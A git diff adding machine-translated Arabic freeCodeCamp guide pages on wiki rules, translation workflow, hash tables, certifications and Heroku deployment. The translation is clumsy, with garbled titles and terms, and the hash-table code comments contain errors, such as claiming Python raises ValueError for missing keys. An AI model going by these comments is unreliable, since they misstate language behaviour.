+    *   نظرًا لأن شريط التمرير يعمل حاليًا ، فسوف نخفي زر التشغيل باستخدام `$(this).hide();` . ملاحظة: نحن نستخدم `this` ، والذي سيشير إلى ما يقوم به `.play` .
+    *   سنقوم بعد ذلك بإظهار زر الإيقاف المؤقت الخاص بنا بحيث يمكن للمستخدم إيقاف الرسم المتحرك حسب الرغبة: `$('.pause').show();` .
+
+## المراجع
+
+*   الخروج من التعليمات البرمجية المصدر والمثال على [CodePen](https://codepen.io/atjonathan/pen/BKMxxq) لهذا البرنامج التعليمي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md b/client/src/guide/arabic/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
new file mode 100644
index 0000000000..6ad9edf1de
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/guidelines-and-rules-for-wiki-articles/index.md
@@ -0,0 +1,28 @@
+---
+title: Guidelines and Rules for Wiki Articles
+localeTitle: المبادئ التوجيهية والقواعد لمقالات ويكي
+---
+مرحبًا بك في قسم الويكي في المنتدى.
+
+ندعوك لاستخدام ، وتحسين ، وإنشاء أخرى جديدة حسبما تراه مناسبًا. إنها طريقة رائعة للمساهمة في مجتمعنا.
+
+نحن نرحب بأي شيء له علاقة بتطوير البرامج ، من البرامج التعليمية إلى النظرات العامة المفاهيمية إلى النصائح العملية.
+
+يمكن لأي شخص لديه **Trust Level 1** (والذي ستحصل عليه تلقائيًا بعد تعليق قراءة المقالات لمدة ساعة تقريبًا) تحرير مشاركة wiki وإنشاءها.
+
+سيقوم المشرفون لدينا بتحرير أو حذف أو إعادة تصنيف أي شيء ينتهك [قواعد السلوك الخاصة بنا.](https://www.freecodecamp.com/code-of-conduct) أو لا تنتمي إلى قسم الويكي (مثل الأسئلة أو حلول التحديات).
+
+## كيف تصنع مقالة ويكي
+
+1.  قم بإنشاء موضوعك كما تفعل عادة
+2.  انقر على قائمة "..." في المشاركة وحدد "جعل ويكي"
+3.  إرسال رسالة خاصة إلى [@ Rafase282 لإعلامه](/users/rafase282) أنك قمت بإنشاء مقال وتسهيل انتقال تغيير الملكية
+4.  يرجى تجنب الكتابة في الشخص الأول ، وعدم التوقيع على المقالة أو الترويج لنفسك عبر الروابط. لا تقلق - سيتم الحفاظ على تأليفك كجزء من تاريخ إصدار المقالة.
+
+## التعليمات
+
+1.  **لماذا أحتاج إلى تغيير ملكية المقالة إلى [camperbot](/users/camperbot) ؟**  
+    إنه يساعدنا على تتبع التغييرات في المقالة بشكل أفضل ، ويمنع أي تخريب لمقال ما من أن يعكس بشكل سيئ مؤلفه الأصلي. كما أنه يمنح الجميع [مكانًا عامًا حيث يمكنهم تتبع نشاط الويكي](//forum.freecodecamp.com/users/camperbot/activity) .
+    
+2.  **كيف يمكنني نقل الملكية؟**  
+    [@ Rafase282](/users/rafase282) سوف يقوم بذلك في النهاية ، لكن إذا كان لديك لحظة ، [أرسل له رسالة](//forum.freecodecamp.com/users/rafase282) لتسريع الأمور.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md b/client/src/guide/arabic/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
new file mode 100644
index 0000000000..029fadd401
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/guidelines-for-translating-free-code-camp-to-any-language/index.md
@@ -0,0 +1,55 @@
+---
+title: Guidelines for Translating Free Code Camp to Any Language
+localeTitle: مبادئ توجيهية لترجمة مخيم الرمز الحر إلى أي لغة
+---
+شكرًا جزيلاً على اهتمامك بترجمة FreeCodeCamp. يوصى بقراءة هذه الوثيقة للمشاركة في جهد جماعي لجلب FreeCodeCamp إلى المزيد والمزيد من الناس في جميع أنحاء العالم.
+
+## كيف يمكن المساهمة في الترجمات؟
+
+هناك طرق مختلفة يمكن من خلالها المساهمة بشكل تعاوني في الترجمات. كل جهد الترجمة يتبع عادة سير العمل أدناه.
+
+> _نصيحة للمحترفين: يمكنك المساهمة في أي من أو كل المراحل أدناه في تدفق العمل حسب اهتماماتك._
+
+*   [مراجعة عمل مترجم آخر](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/3) .
+*   [خلق قضايا `Translation` لتتبع التقدم](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/4) .
+*   [تنفيذ الترجمات](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/5) .
+*   [قم بإنشاء طلبات السحب لإضافة الترجمات إلى قاعدة الكود](https://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111/6)
+
+## المبادئ التوجيهية والموارد
+
+### إرشادات عامة
+
+*   حاول ألا تكون رسميًا جدًا ولكن ليس عرضيًا للغاية ، فقط للحفاظ على ملاءمة الأمور.
+*   من أجل جعل المحتويات أكثر قابلية للفهم للمتحدثين الأصليين للغة الهدف (التفكير في أولئك الذين لا يتحدثون الإنجليزية) ، قم بترجمة أكبر قدر ممكن ، حاول استخدام كلمة باللغة الإنجليزية فقط إذا كانت مستخدمة على نطاق واسع في البلدان حيث يتم التحدث بلغتك الهدف.
+
+### المعجم
+
+من المفيد أن ينشئ المترجمون الذين يعملون على نفس اللغة مسردًا يوضح ترجمة الكلمات باللغة الإنجليزية المستخدمة في تحديات FreeCodeCamp. هناك أحيانًا أكثر من طريقة لترجمة بعض المصطلحات ، وقد تؤدي الاختلافات الإقليمية إلى حدوث ارتباك (على سبيل المثال ، قد تختلف بعض المصطلحات بين الإسبانية من إسبانيا وأمريكا اللاتينية ، أو بين اللغة الفرنسية المستخدمة في كندا وفرنسا). كن ديمقراطيا! اختر أنسب الترجمة بالتصويت واحتفظ بسجل للنتائج. يمكن العثور على مثال واحد على مثل هذا السجل هنا: [FreeCodeCamp Glossary (من الإنجليزية إلى الإسبانية)](https://docs.google.com/spreadsheets/d/1c60Sl4MAAsZ7biCPgur7A4aVqhErIfwrE1SulPqbOGo/edit#gid=0) استخدم غرفة الدردشة لمناقشة المسرد ، حتى لا يفوت أي شخص أي شيء.
+
+### إذا كنت بحاجة إلى بعض المساعدة في مجموعة أدوات المترجم من Google
+
+قد تجد المساعدة في أتمتة عملية الترجمة من خلال استخدام مجموعة أدوات المترجم من Google ، يرجى الاطلاع على: [دليل إسباني](https://github.com/vtamara/fcc_trad)
+
+### إنشاء مثيل اختبار من FreeCodeCamp
+
+يمكن أن يساعدك الاطلاع على المنتج النهائي أثناء تقدمك في الترجمة في الحفاظ على الدوافع. هذا هو السبب في أنها فكرة جيدة لإنشاء مثيل اختبار FreeCodeCamp حيث يمكنك تضمين أحدث التغييرات في ترجمة اللغة التي تعمل عليها واستخدام FreeCodeCamp بما في ذلك تلك التغييرات. تم إنشاء مثيل الاختبار التالي للإصدار الإسبانية من FreeCodeCamp: [Getting Started](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json) . لإنشاء مثيل اختبار ، اتبع الخطوات التالية:
+
+1.  اتبع تعليمات [صفحة المساهمة](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/CONTRIBUTING.md) تأكد من أنه يمكنك مشاهدة نسخة قيد التشغيل باللغة الإنجليزية
+2.  افتح [Languages.js المدعومة](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/common/utils/supported-languages.js) وأضف لغة مثيلك (على سبيل المثال `es: 'Spanish'` ) ، أعد تشغيل مثيلك.
+3.  غيّر عنوان url ببادئة لغتك (على سبيل المثال ، للإسبانية ، `/en/challenges/` to `/es/challenges/` ) ، إذا تمت ترجمة الصفحة ، فيجب أن تكون قادرًا على رؤيتها.
+4.  ابحث عن ملف اللغة ، وحاول البحث عن الكلمات الرئيسية في مستودع التخزين الخاص بك ، يمكنك العثور على جميع التحديات تحت `/seed/challenges/` على سبيل المثال ، تقع صفحة " _[البدء"](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/00-getting-started/getting-started.json)_ في `freeCodeCamp/seed/challenges/00-getting-started/getting-started.json`
+5.  الترجمة السعيدة!
+6.  قبل تقديم العلاقات العامة ، يرجى التأكد من **عدم** تضمين `supported-lamguages.js` في `supported-lamguages.js` ، ( `$ git reset -- common/utils/supported-languages.js` )
+7.  الأخير وليس آخراً ، تأكد من اتباع جميع القواعد في [دليل المساهم](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md) .
+8.  شكرا لمساهمتك!
+
+### المراجع
+
+*   [توثيق شفرة المصدر من FreeCodeCamp.](https://github.com/FreeCodeCamp/FreeCodeCamp/blob/staging/README.md)
+*   [سحب طلب المساهمة](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Pull-Request-Contribute)
+*   [ملفات المساعدة لترجمة تحديات ومؤشرات FreeCodeCamp باستخدام مجموعة أدوات المترجم من Google.](https://github.com/vtamara/fcc_trad/blob/master/README.md)
+*   [دليل المساهم](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/CONTRIBUTING.md)
+
+إذا وجدت أنه من المفيد ، يمكنك ترجمة هذه التعليمات إلى لغتك وتكييفها لفريق الترجمة الخاص بك (انظر على سبيل المثال ، [الأصلي باللغة الإسبانية.](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.md) )
+
+_ويستند هذا الدليل على [هذه الكتابة](https://github.com/vtamara/fcc_trad/blob/master/Recomendaciones.EN.md) ._
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/arabic/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..0431b0ebed
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/hallenge-add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,5 @@
+---
+title: Hallenge Add Different Margins to Each Side of an Element
+localeTitle: Hallenge أضف هوامش مختلفة لكل جانب من العنصر
+---
+CSS تسمح لك للسيطرة على هامش عنصر من الجهات الأربع مع `margin-top` ، `margin-right` ، `margin-bottom` ، و `margin-left` الصفات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/hash-tables-and-hashing-functions/index.md b/client/src/guide/arabic/miscellaneous/hash-tables-and-hashing-functions/index.md
new file mode 100644
index 0000000000..3f1d1907be
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/hash-tables-and-hashing-functions/index.md
@@ -0,0 +1,166 @@
+---
+title: Hash Tables and Hashing Functions
+localeTitle: جداول تجزئة ووظائف تجزئة
+---
+### مقدمة عن التجزئة
+
+تم تصميم Hashing لحل مشكلة الحاجة إلى العثور على عنصر أو تخزينه بكفاءة في مجموعة.  
+على سبيل المثال ، إذا كانت لدينا قائمة تضم 10000 كلمة باللغة الإنجليزية ونريد التحقق مما إذا كانت كلمة معينة موجودة في القائمة ، فسيكون من غير المقبول مقارنة الكلمة مع جميع العناصر الـ 10000 حتى نجد تطابقًا. حتى لو تم تصنيف قائمة الكلمات معجميًا ، كما هو الحال في القاموس ، ستظل بحاجة إلى بعض الوقت للعثور على الكلمة التي تبحث عنها.  
+تجزئة هو تقنية لجعل الأشياء أكثر كفاءة من خلال تضييق نطاق البحث في البداية.
+
+## ما هو التجزئة؟
+
+يعني Hashing استخدام بعض الوظائف أو الخوارزمية لتعيين بيانات الكائن إلى بعض القيم العددية التمثيلية.  
+يمكن استخدام رمز التجزئة هذا (أو التجزئة ببساطة) كطريقة لتضييق نطاق البحث عند البحث عن العنصر في الخريطة.  
+بشكل عام ، تُستخدم رموز التجزئة هذه لإنشاء فهرس ، يتم فيه تخزين القيمة.
+
+## كيف يعمل التجزئة
+
+في جداول التجزئة ، يمكنك تخزين البيانات في نماذج أزواج المفاتيح والقيم. يتم إعطاء المفتاح ، الذي يستخدم لتحديد البيانات ، كمدخل لوظيفة التجزئة. ثم يتم تعيين رمز التجزئة ، وهو عدد صحيح ، إلى الحجم الثابت لدينا.
+
+يجب أن تدعم جداول التجزئة 3 وظائف.
+
+*   إدراج (مفتاح ، قيمة)
+*   احصل على مفتاح)
+*   حذف (مفتاح)
+
+بحت كمثال لمساعدتنا على فهم المفهوم ، دعونا نفترض أننا نريد تعيين قائمة بمفاتيح السلسلة لقيم السلسلة (على سبيل المثال ، خريطة قائمة البلدان إلى مدن عاصمتهم).  
+لنفترض أننا نريد تخزين البيانات في الجدول في الخريطة.
+
+مفتاح | القيمة  
+\---------------- | -------------  
+كوبا هافانا  
+انكلترا | لندن  
+فرنسا | باريس  
+اسبانيا | مدريد  
+سويسرا | برن
+
+ودعونا نفترض أن وظيفة هاش لدينا هي ببساطة أن تأخذ طول السلسلة.
+
+بالنسبة إلى البساطة ، سيكون لدينا صفيفان: واحد لمفاتيحنا والآخر للقيم.  
+لذلك ، لوضع عنصر في جدول التجزئة ، نحسب رمز التجزئة الخاص به (في هذه الحالة ، ببساطة حساب عدد الأحرف) ، ثم ضع المفتاح والقيمة في المصفوفات في الفهرس المقابل.  
+على سبيل المثال ، لدى كوبا رمز هاش (طول) من 4.  
+لذلك نقوم بتخزين كوبا في المركز الرابع في صفيف المفاتيح ، وهافانا في المؤشر الرابع لصفيف القيم وما إلى ذلك ، وننتهي بما يلي:
+
+الموقف مجموعة مفاتيح | مجموعة القيم  
+\--------------------- | ------------------ | --------- ------  
+1 | |  
+2 | |  
+3 | |  
+4 | كوبا هافانا  
+5 | اسبانيا | مدريد  
+6 | فرنسا | باريس  
+7 | انكلترا | لندن  
+8 | |  
+9 | |  
+10 | |  
+11 | سويسرا | برن
+
+الآن ، في هذا المثال المحدد ، تعمل الأشياء بشكل جيد.  
+يجب أن تكون صفيفنا كبيرًا بما يكفي لاستيعاب أطول سلسلة ، ولكن في هذه الحالة لا يوجد سوى 11 فتحة.  
+نحن نهدر قليلاً من المساحة لأنه ، على سبيل المثال ، لا توجد مفاتيح من حرف واحد في بياناتنا ، ولا مفاتيح بين 8 و 10 أحرف. لكن في هذه الحالة ، الفضاء المهدر ليس سيئًا أيضًا. يعتبر أخذ طول السلسلة أمرًا رائعًا وسريعًا ، وكذلك عملية العثور على القيمة المرتبطة بمفتاح معين (وبالتأكيد أسرع من إجراء خمس مقارنات للأوتار).
+
+ولكن ، ماذا نفعل إذا كانت مجموعة البيانات تحتوي على سلسلة تحتوي على أكثر من 11 حرفًا؟  
+ماذا لو كان لدينا كلمة أخرى تحتوي على 5 أحرف ، "الهند" ، وحاول تعيينها إلى فهرس باستخدام الدالة hash. بما أن المؤشر 5 مشغول بالفعل ، علينا أن نتصل على ما يجب فعله به. وهذا ما يسمى الاصطدام.
+
+إذا كانت مجموعة البيانات الخاصة بنا تحتوي على أحرف بألف حرف ، وقمت بإنشاء مجموعة من آلاف المؤشرات لتخزين البيانات ، فسوف ينتج عنها إهدار مساحة. إذا كانت مفاتيحنا عبارة عن كلمات عشوائية من الإنجليزية ، حيث توجد العديد من الكلمات بنفس الطول ، باستخدام الطول كوظيفة تجزئة ستكون عديمة الفائدة إلى حد ما.
+
+## التعامل مع التصادم
+
+يتم استخدام طريقتين أساسيتين للتعامل مع الاصطدامات.
+
+1.  تسلسل منفصلة
+2.  فتح العنونة
+
+#### تسلسل منفصلة
+
+يستخدم التعامل مع اصطدام التجزئة بواسطة تسلسل منفصل ، بنية بيانات إضافية ، قائمة مفضلة بشكل مفضّل للتخصيص الديناميكي ، إلى دلاء. في مثالنا ، عندما نضيف الهند إلى مجموعة البيانات ، يتم إلحاقها بالقائمة المرتبطة المخزنة في الفهرس 5 ، ثم يبدو جدولنا هكذا.
+
+الموقف رؤساء قائمة مرتبطة |  
+\--------------------- | ---------------------------- -------- |  
+1 | |  
+2 | |  
+3 | |  
+4 | [كوبا-هافانا\]  
+5 | \[اسبانيا - مدريد\] -> \[الهند - دلهي\] |  
+6 | \[فرنسا باريس\] |  
+7 | \[إنجلترا - لندن\] |  
+8 | |  
+9 | |  
+10 | |  
+11 | \[سويسرا برن\]](https://en.wikipedia.org/wiki/Linear_probing)
+
+للعثور على عنصر ، نذهب أولاً إلى الدلو ثم نتبادل المفاتيح. هذه طريقة شائعة ، وإذا تم استخدام قائمة الارتباطات لا يتم تعبئة التجزئة. تكلفة `get(k)` هي في المتوسط `O(n)` حيث n هي عدد المفاتيح في المجموعة ، يكون العدد الإجمالي للمفاتيح هو N.  
+المشكلة مع تسلسل منفصلة هو أن بنية البيانات يمكن أن تنمو خارج الحدود.
+
+#### فتح العنونة
+
+لا تقدم معالجة مفتوحة أي بنية بيانات جديدة. في حالة حدوث تصادم ، فإننا نبحث عن التواجد في النقطة التالية التي تم إنشاؤها بواسطة خوارزمية. يتم استخدام Open Addressing عادة عندما تكون مساحة التخزين عبارة عن معالجات مقيدة ، أي المعالجات المضمنة. فتح العنوان ليس بالضرورة أسرع ثم فصل التسلسل.
+
+طرق لفتح العنان
+
+*   \[تحليل خطي
+*   [تحقيقات تربيعية](https://en.wikipedia.org/wiki/Quadratic_probing)
+*   [مزدوج تجزئة](https://en.wikipedia.org/wiki/Double_hashing)
+
+## كيفية استخدام التجزئة في التعليمات البرمجية.
+
+#### الثعبان
+
+ `   # Few languages like Python, Ruby come with an in-built hashing support. 
+   # Declaration 
+    my_hash_table = {} 
+    my_hash_table = dict() 
+ 
+   # Insertion 
+    my_hash_table[key] = value 
+ 
+   # Look up 
+    value = my_hash_table.get(key) # returns None if the key is not present || Deferred in python 3, available in python 2 
+    value = my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Deletion 
+    del my_hash_table[key] # throws a ValueError exception if the key is not present 
+ 
+    # Getting all keys and values stored in the dictionary 
+    keys = my_hash_table.keys() 
+    values = my_hash_table.values() 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVtK)
+
+#### جافا
+
+ `    // Java doesn't include hashing by default, you have to import it from java.util library 
+    // Importing hashmaps 
+    import java.util.HashMap; 
+ 
+   // Declaration 
+    HashMap<Integer, Integer> myHashTable = new HashMap<Integer, Integer>(); // declares an empty map. 
+ 
+   // Insertion 
+    myHashTable.put(key, value); 
+ 
+   // Deletion 
+    myHashtable.remove(key); 
+ 
+    // Look up 
+    myHashTable.get(key); // returns null if the key K is not present 
+    myHashTable.containsKey(key); // returns a boolean value, indicating the presence of a key 
+ 
+    // Number of key, value pairs in the hash table 
+    myHashTable.size(); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CVt1)
+
+## مصادر
+
+*   لمزيد من القراءة ، تريد العديد من محاولة هذا [الارتباط](http://geeksquiz.com/hashing-set-1-introduction/) ، والذي يشرح التجزئة باستخدام مثال مختلف.
+*   [تجزئة في 60 ثانية](https://www.youtube.com/watch?v=x05KubVlh_M) .
+*   [تجفيف الوقواق](https://www.youtube.com/watch?v=HRzg0SzFLQQ)
+*   [تصانيف التجزئة](https://www.youtube.com/watch?v=jznJKL0CrxM)
+*   [بلوم مرشحات](https://www.youtube.com/watch?v=-SuTGoFYjZs)
+*   [استراتيجيات تجزئة](https://www.youtube.com/watch?v=D65JQ0qQwZk)
+*   [كلمة السر](https://crackstation.net/hashing-security.htm)
+*   [الفرق بين الفرز والتشفير](http://stackoverflow.com/questions/326699/difference-between-hashing-a-password-and-encrypting-it)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
new file mode 100644
index 0000000000..0a50de4d0b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-back-end-development-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Back End Development Certification
+localeTitle: هيريس كيفية الحصول على شهادة التطوير النهائي لدينا التحقق من التحقق
+---
+![صورة لعينة اختبار تطوير النهاية الخلفية](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea633a0abec2ec4b17c3c9b5b24fb9809776289a.png)
+
+1.  مشاريع API
+2.  مشاريع تطبيقات الويب الديناميكية
+
+بمجرد الانتهاء من جميع ما ورد أعلاه ، يمكنك إكمال ["المطالبة الخاصة بك شهادة تطوير النهاية الخلفية"](http://www.freecodecamp.com/challenges/claim-your-back-end-development-certificate) ، والتي سوف تتطلب منك التوقيع على تعهد أمانة الصدق. سنقوم بعد ذلك بإصدار شهادتك التي تم التحقق منها ، والتي ستصبح متاحة لك من صفحة محفظتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
new file mode 100644
index 0000000000..993832c390
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-data-visualization-certification/index.md
@@ -0,0 +1,10 @@
+---
+title: Heres How to Earn Our Verified Data Visualization Certification
+localeTitle: هيريس كيفية الحصول على شهادة التحقق من البيانات التي تم التحقق منها
+---
+![صورة نموذج شهادة تطوير الواجهة الأمامية](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e8807cae251ec214589ef35de95f956433d14280.png)
+
+1.  مشاريع رد الفعل
+2.  مشاريع تصوير البيانات
+
+بمجرد الانتهاء من جميع ما ورد أعلاه ، يمكنك إكمال ["المطالبة الخاصة بك شهادة تصديق البيانات الخاصة بك"](http://www.freecodecamp.com/challenges/claim-your-data-visualization-certificate) التحدي ، والتي سوف تتطلب منك التوقيع على تعهد أمانة الصدق. سنقوم بعد ذلك بإصدار شهادتك التي تم التحقق منها ، والتي ستصبح متاحة لك من صفحة محفظتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
new file mode 100644
index 0000000000..fd99735f3f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/heres-how-to-earn-our-verified-front-end-development-certification/index.md
@@ -0,0 +1,13 @@
+---
+title: Heres How to Earn Our Verified Front End Development Certification
+localeTitle: هيريس كيفية الحصول على شهادة التطوير النهائي المعتمدة من طرفنا
+---
+![صورة نموذج شهادة تطوير الواجهة الأمامية](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9579e6ad7bc3022fc5a6574be16791b5484f4867.png)
+
+1.  أكمل جميع خوارزمياتنا الأساسية الحالية
+2.  أكمل جميع مشاريع الواجهة الأمامية الحالية
+3.  أكمل جميع الخوارزميات المتوسطة الحالية
+4.  أكمل جميع مشاريع الواجهة الأمامية المتوسطة الحالية
+5.  أكمل جميع مشاريع الواجهة الأمامية المتقدمة الحالية
+
+بمجرد الانتهاء من كل ما سبق ، يمكنك إكمال ["المطالبة الخاصة بك شهادة تطوير الواجهة الأمامية"](http://www.freecodecamp.com/challenges/claim-your-front-end-development-certificate) ، والتي سوف تتطلب منك التوقيع على تعهد أمانة الصدق. سنقوم بعد ذلك بإصدار شهادتك التي تم التحقق منها ، والتي ستصبح متاحة لك من صفحة محفظتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/heroku-deployment-guide/index.md b/client/src/guide/arabic/miscellaneous/heroku-deployment-guide/index.md
new file mode 100644
index 0000000000..1c37ec2312
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/heroku-deployment-guide/index.md
@@ -0,0 +1,69 @@
+---
+title: Heroku Deployment Guide
+localeTitle: Heroku Deployment Guide
+---
+1.  قم بإنشاء حساب Heroku.
+    
+2.  بعد إنشاء حساب ، يمكنك الانتقال إلى [لوحة المعلومات](https://dashboard.heroku.com/apps)
+    
+3.  انقر فوق علامة + في أعلى الزاوية اليمنى وانقر فوق إنشاء تطبيق جديد (تمامًا مثلما تفعل إعادة إصدار جديد على github). اسمها ، وانقر فوق إنشاء.
+    
+4.  بعد إنشاء التطبيق ، سترى اسمه في لوحة البيانات. انقر عليه.
+    
+5.  سيتم نقلك إلى لوحة التحكم لهذا التطبيق. انقر فوق علامة التبويب نشر.
+    
+6.  هناك سيكون من دواعي سرورنا أن تجد أنه يمكنك الاتصال ريبو جيثوب. في قسم أسلوب النشر ، اختر Github والمصادقة عن طريق تسجيل الدخول إلى Github.
+    
+7.  أسفل ذلك مباشرةً ، املأ اسم ريبو جيثب الخاص بك. (وهذا يتطلب بالطبع أنك قمت بإعادة دفع الرصيد إلى github إما من cloud9 أو من جهازك المحلي ... وأنك قمت بتكوينه بشكل صحيح. المزيد على ذلك أدناه).
+    
+8.  مرِّر لأسفل مرة أخرى وانقر على "النشر التلقائي" أو مرر لأسفل بدرجة أكبر وانقر على "النشر اليدوي". بعد لحظات قليلة ، سترى تطبيقك يعمل على your-repo-name.herokuapp.com. حلو.
+    
+
+## إنشاء تطبيقك محليًا أو على Cloud9
+
+1.  قم بإنشاء مجلد جديد يسمى timestamp-microservice (أو أي مشروع يسمى).
+
+`$ mkdir timestamp-microservice && cd timestamp-microservice`
+
+1.  قم بإنشاء الملفات التي ستحتاج إليها:
+
+`$ touch .env .gitignore README.md index.html server.js`
+
+1.  قم بتثبيت الحزم التي تحتاجها على طول الطريق
+
+أمثلة:
+
+`$ npm install --save express`
+
+`$ npm install --save moment`
+
+ستتم إضافتها إلى مجلد يسمى node\_modules في مجلد الجذر الخاص بك.
+
+1.  يمكنك بدء المشروع باستخدام package.json عن طريق `$ npm init`
+
+سيطلب منك سلسلة من الأسئلة وإنشاء ملف package.json في مجلد الجذر استنادًا إلى إجاباتك وقيمها الافتراضية. إذا قمت بالفعل بإنشاء ملف يسمى server.js كما ذكر أعلاه ، سيتم إضافة هذا السطر _الأساسي_ إلى ملف package.json الخاص بك:
+
+ `  "scripts": { 
+ 
+  "start": "node server.js" 
+ 
+  } 
+` 
+
+إذا قمت بتسمية أي شيء آخر ، على الرغم من ذلك ، مثل 'index.js' ، فلن تتم إضافة هذا السطر وسيتعين عليك إضافته يدويًا. هذا هو السلوك الافتراضي كما هو مذكور [هنا](https://docs.npmjs.com/files/package.json#default-values) . يمكنك تثبيت وحدات العقدة قبل هذه الخطوة أو بعدها وسيتم إضافتها إلى package.json تلقائيًا.
+
+1.  عندما تكون مستعدًا ، أنشئ مستودعًا جديدًا على github ، وانسخ عنوان URL البعيد ، وأعد تهيئة المشروع محليًا من خلال إجراء ما يلي:
+
+`$ git init`
+
+`$ git add .`
+
+`$ git commit -m "initial commit"`
+
+`$ git remote add origin <your github url>`
+
+`$ git push -u origin master`
+
+نصيحة: في ملف server.js ، تأكد من استخدام `app.listen(process.env.PORT || <default port>)` بحيث يعمل التطبيق على heroku.
+
+العودة إلى الخطوة 7 أعلاه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md b/client/src/guide/arabic/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
new file mode 100644
index 0000000000..2762303993
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-can-i-submit-an-story-to-free-code-camps-medium-publication/index.md
@@ -0,0 +1,5 @@
+---
+title: How Can I Submit an Story to Free Code Camps Medium Publication
+localeTitle: كيف يمكنني تقديم قصة لتحرير معسكرات الكود منشور متوسط
+---
+اقرأ دليلنا [الرسمي هنا](https://medium.freecodecamp.com/how-to-get-published-in-the-freecodecamp-medium-publication-9b342a22400e) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-free-code-camp-works/index.md b/client/src/guide/arabic/miscellaneous/how-free-code-camp-works/index.md
new file mode 100644
index 0000000000..367ffa2fb1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-free-code-camp-works/index.md
@@ -0,0 +1,19 @@
+---
+title: How Free Code Camp Works
+localeTitle: كيف يعمل مخيم حر القانون
+---
+يوفر لك Free Code Camp برنامجًا مجانيًا ذاتيًا يستند إلى المتصفح ويستغرق إكماله حوالي 1600 ساعة.
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/4/44b781708f6843b9267c13519cd6c536e890a411.jpg)
+
+## كيف تعمل
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9c1bbc97c9db0bb74a9481a42db011ff4b5efc9d.jpg)
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0a30120f5d35b4e0e41de87c54339a873b85d953.jpg)
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0b2b928ff55c6f42b397b2167d39acb3883d843b.jpg)
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f808b2e3401b997a3376807faf074055ee2b6cf.jpg)
+
+![صورة لجدول يوضح الأجزاء المختلفة من Free Code Camp](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ccae292690f8e5dd418d3defee255576de30ff37.jpg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md b/client/src/guide/arabic/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
new file mode 100644
index 0000000000..fb75a48be4
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/how-free-code-camps-nonprofits-projects-work/index.md
@@ -0,0 +1,88 @@
+---
+title: How Free Code Camps Nonprofits Projects Work
